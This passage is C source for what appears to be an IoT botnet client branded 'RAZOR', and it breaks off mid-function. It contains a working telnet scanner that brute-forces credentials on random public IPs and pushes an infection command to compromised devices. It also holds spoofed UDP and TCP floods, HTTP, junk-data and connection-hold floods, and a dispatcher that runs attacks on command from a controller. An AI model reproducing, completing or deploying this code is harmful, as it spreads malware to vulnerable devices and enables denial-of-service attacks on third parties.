  801.         memset(fds, 0, max * (sizeof(int) + 1));
  802.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  803.         struct timeval timeout;
  804.         timeout.tv_sec = 5;
  805.         timeout.tv_usec = 0;
  806.         while(1)
  807.         {
  808.                 for(i = 0; i < max; i++)
  809.                 {
  810.                         switch(fds[i].state)
  811.                         {
  812.                         case 0:
  813.                                 {
  814.                                         memset(fds[i].sockbuf, 0, 1024);
  815.  
  816.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  817.                                         else {
  818.                                                 fds[i].passwordInd++;
  819.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  820.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  821.                                         }
  822.                                         dest_addr.sin_family = AF_INET;
  823.                                         dest_addr.sin_port = htons(23);
  824.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  825.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  826.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  827.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  828.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  829.                                         if(fds[i].fd == -1) { continue; }
  830.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  831.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  832.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  833.                                 }
  834.                                 break;
  835.  
  836.                         case 1:
  837.                                 {
  838.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  839.  
  840.                                         FD_ZERO(&myset);
  841.                                         FD_SET(fds[i].fd, &myset);
  842.                                         tv.tv_sec = 0;
  843.                                         tv.tv_usec = 10000;
  844.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  845.                                         if(res == 1)
  846.                                         {
  847.                                                 lon = sizeof(int);
  848.                                                 valopt = 0;
  849.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  850.                                                 if(valopt)
  851.                                                 {
  852.                                                         sclose(fds[i].fd);
  853.                                                         fds[i].state = 0;
  854.                                                         fds[i].complete = 1;
  855.                                                 } else {
  856.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  857.                                                         fds[i].totalTimeout = 0;
  858.                                                         fds[i].bufUsed = 0;
  859.                                                         memset(fds[i].sockbuf, 0, 1024);
  860.                                                         fds[i].state = 2;
  861.                                                         continue;
  862.                                                 }
  863.                                         } else if(res == -1)
  864.                                         {
  865.                                                 sclose(fds[i].fd);
  866.                                                 fds[i].state = 0;
  867.                                                 fds[i].complete = 1;
  868.                                         }
  869.  
  870.                                         if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  871.                                         {
  872.                                                 sclose(fds[i].fd);
  873.                                                 fds[i].state = 0;
  874.                                                 fds[i].complete = 1;
  875.                                         }
  876.                                 }
  877.                                 break;
  878.  
  879.                         case 2:
  880.                                 {
  881.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  882.                     if(matchPrompt(fds[i].sockbuf)) {
  883.                                     fds[i].state = 7;
  884.                                 }
  885.  
  886.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  887.                                         {
  888.                                                 fds[i].totalTimeout = 0;
  889.                                                 fds[i].bufUsed = 0;
  890.                                                 memset(fds[i].sockbuf, 0, 1024);
  891.                                                 fds[i].state = 3;
  892.                                                 continue;
  893.                                         } else {
  894.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  895.                                         }
  896.  
  897.                                         if(fds[i].totalTimeout + 30 < time(NULL))
  898.                                         {
  899.                                                 sclose(fds[i].fd);
  900.                                                 fds[i].state = 0;
  901.                                                 fds[i].complete = 1;
  902.                                         }
  903.                                 }
  904.                                 break;
  905.  
  906.                         case 3:
  907.                                 {
  908.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  909.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  910.                                         fds[i].state = 4;
  911.                                 }
  912.                                 break;
  913.  
  914.                         case 4:
  915.                                 {
  916.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  917.  
  918.                                         if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  919.                                         {
  920.                                                 sockprintf(mainCommSock, "[RAZOR] \x1b[34mATTEMPT \x1b[37m-> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  921.                                                 fds[i].totalTimeout = 0;
  922.                                                 fds[i].bufUsed = 0;
  923.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  924.                                                 else fds[i].state = 7;
  925.                                                 memset(fds[i].sockbuf, 0, 1024);
  926.                                                 continue;
  927.                                         } else {
  928.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  929.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  930.                                         }
  931.  
  932.                                         if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  933.                                         {
  934.                                                 sclose(fds[i].fd);
  935.                                                 fds[i].state = 0;
  936.                                                 fds[i].complete = 1;
  937.                                         }
  938.                                 }
  939.                                 break;
  940.  
  941.                         case 5:
  942.                                 {
  943.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  944.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  945.                                         fds[i].state = 6;
  946.                                 }
  947.                                 break;
  948.  
  949.                         case 6:
  950.                                 {
  951.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  952.  
  953.                                         if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  954.                                         {
  955.                                                 fds[i].totalTimeout = 0;
  956.                                                 fds[i].bufUsed = 0;
  957.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  958.                                                 if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  959.                                                 else fds[i].state = 7;
  960.                                                 memset(fds[i].sockbuf, 0, 1024);
  961.                                                 continue;
  962.                                         } else {
  963.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  964.                                         }
  965.  
  966.                                         if(fds[i].totalTimeout + 30 < time(NULL))
  967.                                         {
  968.                                                 sclose(fds[i].fd);
  969.                                                 fds[i].state = 0;
  970.                                                 fds[i].complete = 1;
  971.                                         }
  972.                                 }
  973.                                 break;
  974.  
  975.             case 7:
  976.                 {
  977.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  978.                     fds[i].state = 8;
  979.                 }
  980.                 break;
  981.            
  982.             case 8:
  983.                 {
  984.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  985.                    
  986.                     if(send(fds[i].fd, infectline, strlen(infectline), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  987.                     sockprintf(mainCommSock, "[RAZOR] \x1b[32mEXECUTED \x1b[37m-> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  988.                    
  989.                     if(fds[i].totalTimeout + 8 < time(NULL)) {
  990.                         sockprintf(mainCommSock, "[RAZOR] \x1b[31mUNSUCCESSFUL \x1b[37m-> %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  991.                         sclose(fds[i].fd);
  992.                         fds[i].state = 0;
  993.                         fds[i].complete = 1;
  994.                     }
  995.                 }
  996.                 break;
  997.             }
  998.         }
  999.     }
  1000. }
  1001.  
  1002. void sendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  1003.         struct sockaddr_in dest_addr;
  1004.         dest_addr.sin_family = AF_INET;
  1005.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1006.         else dest_addr.sin_port = htons(port);
  1007.         if(getHost(target, &dest_addr.sin_addr)) return;
  1008.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1009.         register unsigned int pollRegister;
  1010.         pollRegister = pollinterval;   
  1011.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1012.                 if(!sockfd) {
  1013.                         return;
  1014.                 }
  1015.                 int tmp = 1;
  1016.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1017.                         return;
  1018.                 }
  1019.                 int counter = 50;
  1020.                 while(counter--) {
  1021.                         srand(time(NULL) ^ rand_cmwc());
  1022.                         init_rand(rand());
  1023.                 }
  1024.                 in_addr_t netmask;
  1025.                 netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1026.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1027.                 struct iphdr *iph = (struct iphdr *)packet;
  1028.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1029.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1030.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1031.                 udph->source = rand_cmwc();
  1032.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1033.                 udph->check = 0;
  1034.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1035.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1036.                 int end = time(NULL) + timeEnd;
  1037.                 register unsigned int i = 0;
  1038.                 while(1) {
  1039.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1040.                         udph->source = rand_cmwc();
  1041.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1042.                         iph->id = rand_cmwc();
  1043.                         iph->saddr = htonl( getRandomIP(netmask) );
  1044.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1045.                         if(i == pollRegister) {
  1046.                                 if(time(NULL) > end) break;
  1047.                                 i = 0;
  1048.                                 continue;
  1049.                         }
  1050.                         i++;
  1051.                 }
  1052.         }
  1053.  
  1054.  
  1055. int socket_connect(char *host, in_port_t port) {
  1056.     struct hostent *hp;
  1057.     struct sockaddr_in addr;
  1058.     int on = 1, sock;    
  1059.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1060.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1061.     addr.sin_port = htons(port);
  1062.     addr.sin_family = AF_INET;
  1063.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1064.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1065.     if (sock == -1) return 0;
  1066.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1067.     return sock;
  1068. }
  1069. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1070.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1071.     char request[512], buffer[1];
  1072.     for (i = 0; i < power; i++) {
  1073.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, uastrings[(rand() % 36)]);
  1074.         if (fork()) {
  1075.             while (end > time(NULL)) {
  1076.                 socket = socket_connect(host, port);
  1077.                 if (socket != 0) {
  1078.                     write(socket, request, strlen(request));
  1079.                     read(socket, buffer, 1);
  1080.                     close(socket);
  1081.                 }
  1082.             }
  1083.             exit(0);
  1084.         }
  1085.     }
  1086. }
  1087.  
  1088. void sendCNC(unsigned char *ip,int port, int end_time)
  1089. {
  1090.     int end = time(NULL) + end_time;
  1091.     int sockfd;
  1092.     struct sockaddr_in server;
  1093.     //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1094.    
  1095.     server.sin_addr.s_addr = inet_addr(ip);
  1096.     server.sin_family = AF_INET;
  1097.     server.sin_port = htons(port);
  1098.    
  1099.     while(end > time(NULL))
  1100.     {
  1101.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1102.         connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1103.         sleep(1);
  1104.         close(sockfd);
  1105.     }
  1106.    
  1107. }
  1108.  
  1109.  
  1110. void sendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1111.         register unsigned int pollRegister;
  1112.         pollRegister = pollinterval;
  1113.         struct sockaddr_in dest_addr;
  1114.         dest_addr.sin_family = AF_INET;
  1115.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1116.         else dest_addr.sin_port = htons(port);
  1117.         if(getHost(target, &dest_addr.sin_addr)) return;
  1118.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1119.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1120.         if(!sockfd) { return; }
  1121.         int tmp = 1;
  1122.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1123.         in_addr_t netmask;
  1124.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1125.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1126.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1127.         struct iphdr *iph = (struct iphdr *)packet;
  1128.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1129.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1130.         tcph->source = rand_cmwc();
  1131.         tcph->seq = rand_cmwc();
  1132.         tcph->ack_seq = 0;
  1133.         tcph->doff = 5;
  1134.         if(!strcmp(flags, "all")) {
  1135.                 tcph->syn = 1;
  1136.                 tcph->rst = 1;
  1137.                 tcph->fin = 1;
  1138.                 tcph->ack = 1;
  1139.                 tcph->psh = 1;
  1140.         } else {
  1141.                 unsigned char *pch = strtok(flags, ",");
  1142.                 while(pch) {
  1143.                         if(!strcmp(pch,         "syn")) { tcph->syn = 1;
  1144.                         } else if(!strcmp(pch,  "rst")) { tcph->rst = 1;
  1145.                         } else if(!strcmp(pch,  "fin")) { tcph->fin = 1;
  1146.                         } else if(!strcmp(pch,  "ack")) { tcph->ack = 1;
  1147.                         } else if(!strcmp(pch,  "psh")) { tcph->psh = 1;
  1148.                         } else {
  1149.                         }
  1150.                         pch = strtok(NULL, ",");
  1151.                 }
  1152.         }
  1153.         tcph->window = rand_cmwc();
  1154.         tcph->check = 0;
  1155.         tcph->urg_ptr = 0;
  1156.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1157.         tcph->check = tcpcsum(iph, tcph);
  1158.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1159.         int end = time(NULL) + timeEnd;
  1160.         register unsigned int i = 0;
  1161.         while(1) {
  1162.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1163.                 iph->saddr = htonl( getRandomIP(netmask) );
  1164.                 iph->id = rand_cmwc();
  1165.                 tcph->seq = rand_cmwc();
  1166.                 tcph->source = rand_cmwc();
  1167.                 tcph->check = 0;
  1168.                 tcph->check = tcpcsum(iph, tcph);
  1169.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1170.                 if(i == pollRegister) {
  1171.                         if(time(NULL) > end) break;
  1172.                         i = 0;
  1173.                         continue;
  1174.                 }
  1175.                 i++;
  1176.         }
  1177. }
  1178. void sendJUNK(unsigned char *ip, int port, int end_time)
  1179. {
  1180.  
  1181.         int max = getdtablesize() / 2, i;
  1182.  
  1183.         struct sockaddr_in dest_addr;
  1184.         dest_addr.sin_family = AF_INET;
  1185.         dest_addr.sin_port = htons(port);
  1186.         if(getHost(ip, &dest_addr.sin_addr)) return;
  1187.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1188.  
  1189.         struct state_t
  1190.         {
  1191.                 int fd;
  1192.                 uint8_t state;
  1193.         } fds[max];
  1194.         memset(fds, 0, max * (sizeof(int) + 1));
  1195.  
  1196.         fd_set myset;
  1197.         struct timeval tv;
  1198.         socklen_t lon;
  1199.         int valopt, res;
  1200.  
  1201.         unsigned char *watwat = malloc(1024);
  1202.         memset(watwat, 0, 1024);
  1203.  
  1204.         int end = time(NULL) + end_time;
  1205.         while(end > time(NULL))
  1206.         {
  1207.                 for(i = 0; i < max; i++)
  1208.                 {
  1209.                         switch(fds[i].state)
  1210.                         {
  1211.                         case 0:
  1212.                                 {
  1213.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1214.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1215.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1216.                                         else fds[i].state = 1;
  1217.                                 }
  1218.                                 break;
  1219.  
  1220.                         case 1:
  1221.                                 {
  1222.                                         FD_ZERO(&myset);
  1223.                                         FD_SET(fds[i].fd, &myset);
  1224.                                         tv.tv_sec = 0;
  1225.                                         tv.tv_usec = 10000;
  1226.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1227.                                         if(res == 1)
  1228.                                         {
  1229.                                                 lon = sizeof(int);
  1230.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1231.                                                 if(valopt)
  1232.                                                 {
  1233.                                                         close(fds[i].fd);
  1234.                                                         fds[i].state = 0;
  1235.                                                 } else {
  1236.                                                         fds[i].state = 2;
  1237.                                                 }
  1238.                                         } else if(res == -1)
  1239.                                         {
  1240.                                                 close(fds[i].fd);
  1241.                                                 fds[i].state = 0;
  1242.                                         }
  1243.                                 }
  1244.                                 break;
  1245.  
  1246.                         case 2:
  1247.                                 {
  1248.                                         makeRandomStr(watwat, 1024);
  1249.                                         if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1250.                                         {
  1251.                                                 close(fds[i].fd);
  1252.                                                 fds[i].state = 0;
  1253.                                         }
  1254.                                 }
  1255.                                 break;
  1256.                         }
  1257.                 }
  1258.         }
  1259. }
  1260.  
  1261. void sendHOLD(unsigned char *ip, int port, int end_time)
  1262. {
  1263.  
  1264.         int max = getdtablesize() / 2, i;
  1265.  
  1266.         struct sockaddr_in dest_addr;
  1267.         dest_addr.sin_family = AF_INET;
  1268.         dest_addr.sin_port = htons(port);
  1269.         if(getHost(ip, &dest_addr.sin_addr)) return;
  1270.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1271.  
  1272.         struct state_t
  1273.         {
  1274.                 int fd;
  1275.                 uint8_t state;
  1276.         } fds[max];
  1277.         memset(fds, 0, max * (sizeof(int) + 1));
  1278.  
  1279.         fd_set myset;
  1280.         struct timeval tv;
  1281.         socklen_t lon;
  1282.         int valopt, res;
  1283.  
  1284.         unsigned char *watwat = malloc(1024);
  1285.         memset(watwat, 0, 1024);
  1286.  
  1287.         int end = time(NULL) + end_time;
  1288.         while(end > time(NULL))
  1289.         {
  1290.                 for(i = 0; i < max; i++)
  1291.                 {
  1292.                         switch(fds[i].state)
  1293.                         {
  1294.                         case 0:
  1295.                                 {
  1296.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1297.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1298.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1299.                                         else fds[i].state = 1;
  1300.                                 }
  1301.                                 break;
  1302.  
  1303.                         case 1:
  1304.                                 {
  1305.                                         FD_ZERO(&myset);
  1306.                                         FD_SET(fds[i].fd, &myset);
  1307.                                         tv.tv_sec = 0;
  1308.                                         tv.tv_usec = 10000;
  1309.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1310.                                         if(res == 1)
  1311.                                         {
  1312.                                                 lon = sizeof(int);
  1313.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1314.                                                 if(valopt)
  1315.                                                 {
  1316.                                                         close(fds[i].fd);
  1317.                                                         fds[i].state = 0;
  1318.                                                 } else {
  1319.                                                         fds[i].state = 2;
  1320.                                                 }
  1321.                                         } else if(res == -1)
  1322.                                         {
  1323.                                                 close(fds[i].fd);
  1324.                                                 fds[i].state = 0;
  1325.                                         }
  1326.                                 }
  1327.                                 break;
  1328.  
  1329.                         case 2:
  1330.                                 {
  1331.                                         FD_ZERO(&myset);
  1332.                                         FD_SET(fds[i].fd, &myset);
  1333.                                         tv.tv_sec = 0;
  1334.                                         tv.tv_usec = 10000;
  1335.                                         res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1336.                                         if(res != 0)
  1337.                                         {
  1338.                                                 close(fds[i].fd);
  1339.                                                 fds[i].state = 0;
  1340.                                         }
  1341.                                 }
  1342.                                 break;
  1343.                         }
  1344.                 }
  1345.         }
  1346. }
  1347.  
  1348. void processCmd(int argc, unsigned char *argv[])
  1349. {
  1350.     int x;
  1351.         if(!strcmp(argv[0], "PING"))
  1352.         {
  1353.                 sockprintf(mainCommSock, "PONG!");
  1354.                 return;
  1355.         }
  1356.  
  1357.         if(!strcmp(argv[0], "GETLOCALIP"))
  1358.         {
  1359.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1360.                 return;
  1361.         }
  1362.  
  1363.         if(!strcmp(argv[0], "SCANNER"))
  1364.         {
  1365.                 if(argc != 2)
  1366.                 {
  1367.                         sockprintf(mainCommSock, "SCANNER ON | OFF");
  1368.                         return;
  1369.                 }
  1370.  
  1371.                 if(!strcmp(argv[1], "OFF"))
  1372.                 {
  1373.                         if(scanPid == 0) return;
  1374.                         kill(scanPid, 9);
  1375.                         sockprintf(mainCommSock, "STOPPING TELNET SCANNER");
  1376.                         scanPid = 0;
  1377.                 }
  1378.  
  1379.                 if(!strcmp(argv[1], "ON"))
  1380.                 {
  1381.                         if(scanPid != 0) return;
  1382.                         uint32_t parent;
  1383.                         parent = fork();
  1384.                        
  1385.                         if (parent > 0) { scanPid = parent; return;}
  1386.                         else if(parent == -1) return;
  1387. sockprintf(mainCommSock, "STARTING TELNET SCANNER");
  1388.                         StartTheLelz();
  1389.                         _exit(0);
  1390.                 }
  1391.         }
  1392.    
  1393.         if(!strcmp(argv[0], "HOLD"))
  1394.         {
  1395.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1396.                 {
  1397.                         //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1398.                         return;
  1399.                 }
  1400.  
  1401.                 unsigned char *ip = argv[1];
  1402.                 int port = atoi(argv[2]);
  1403.                 int time = atoi(argv[3]);
  1404.  
  1405.                 if(strstr(ip, ",") != NULL)
  1406.                 {
  1407.                         unsigned char *hi = strtok(ip, ",");
  1408.                         while(hi != NULL)
  1409.                         {
  1410.                                 if(!listFork())
  1411.                                 {
  1412.                                         sendHOLD(hi, port, time);
  1413.                                         _exit(0);
  1414.                                 }
  1415.                                 hi = strtok(NULL, ",");
  1416.                         }
  1417.                 } else {
  1418.                         if (listFork()) { return; }
  1419.  
  1420.                         sendHOLD(ip, port, time);
  1421.                         _exit(0);
  1422.                 }
  1423.         }
  1424.  
  1425.         if(!strcmp(argv[0], "JUNK"))
  1426.         {
  1427.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1428.                 {
  1429.                         //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1430.                         return;
  1431.                 }
  1432.  
  1433.                 unsigned char *ip = argv[1];
  1434.                 int port = atoi(argv[2]);
  1435.                 int time = atoi(argv[3]);
  1436.  
  1437.                 if(strstr(ip, ",") != NULL)
  1438.                 {
  1439.                         unsigned char *hi = strtok(ip, ",");
  1440.                         while(hi != NULL)
  1441.                         {
  1442.                                 if(!listFork())
  1443.                                 {
  1444.                                         sendJUNK(hi, port, time);
  1445.                                         close(mainCommSock);
  1446.                                         _exit(0);
  1447.                                 }
  1448.                                 hi = strtok(NULL, ",");
  1449.                         }
  1450.                 } else {
  1451.                         if (listFork()) { return; }
  1452.  
  1453.                         sendJUNK(ip, port, time);
  1454.                         _exit(0);
  1455.                 }
  1456.         }
  1457.  
  1458.         if(!strcmp(argv[0], "UDP")) { /* UDPFLOOD TARGET PORT TIME PACKETSIZE POLLINTERVAL */
  1459.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1)) {
  1460.                         return;
  1461.                 }
  1462.                 unsigned char *ip = argv[1];
  1463.                 int port = atoi(argv[2]);
  1464.                 int time = atoi(argv[3]);
  1465.                 int packetsize = atoi(argv[4]);
  1466.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1467.                 int spoofed = 32;
  1468.                 if(strstr(ip, ",") != NULL) {
  1469.                         unsigned char *hi = strtok(ip, ",");
  1470.                         while(hi != NULL) {
  1471.                                 if(!listFork()) {
  1472.                                         sendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1473.                                         _exit(0);
  1474.                                 }
  1475.                                 hi = strtok(NULL, ",");
  1476.                         }
  1477.                 } else {
  1478.                         if (listFork()) { return; }
  1479.                         sendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1480.                         _exit(0);
  1481.                 }  
  1482.         }
  1483.  
  1484.         if (!strcmp(argv[0], "HTTP")) { /* HTTPFLOOD METHOD TARGET PORT PATH TIME POWER */  // !* HTTPFLOOD POST/GET/HEAD hackforums.net 80 / 10 100
  1485.         if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1486.         if (listFork()) return;
  1487.         sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1488.         exit(0);
  1489.         }
  1490.        
  1491.     if(!strcmp(argv[0], "CNC"))
  1492.         {
  1493.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1494.                 {
  1495.                        
  1496.                         return;
  1497.                 }
  1498.  
  1499.                 unsigned char *ip = argv[1];
  1500.                 int port = atoi(argv[2]);
  1501.                 int time = atoi(argv[3]);
  1502.  
  1503.                 if(strstr(ip, ",") != NULL)
  1504.                 {
  1505.                         unsigned char *hi = strtok(ip, ",");
  1506.                         while(hi != NULL)
  1507.                         {
  1508.                                 if(!listFork())
  1509.                                 {
  1510.                                         sendCNC(hi, port, time);
  1511.                                         close(mainCommSock);
  1512.                                         _exit(0);
  1513.                                 }
  1514.                                 hi = strtok(NULL, ",");
  1515.                         }
  1516.                 } else {
  1517.                         if (listFork()) { return; }
  1518.  
  1519.                         sendCNC(ip, port, time);
  1520.                         _exit(0);
  1521.                 }
  1522.         }
  1523.        
  1524.         if(!strcmp(argv[0], "COMBO"))
  1525.         {
  1526.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1527.                 {
  1528.                        
  1529.                         return;
  1530.                 }
  1531.  
  1532.                 unsigned char *ip = argv[1];
  1533.                 int port = atoi(argv[2]);
  1534.                 int time = atoi(argv[3]);
  1535.  
  1536.                 if(strstr(ip, ",") != NULL)
  1537.                 {
  1538.                         unsigned char *hi = strtok(ip, ",");
  1539.                         while(hi != NULL)
  1540.                         {
  1541.                                 if(!listFork())
  1542.                                 {
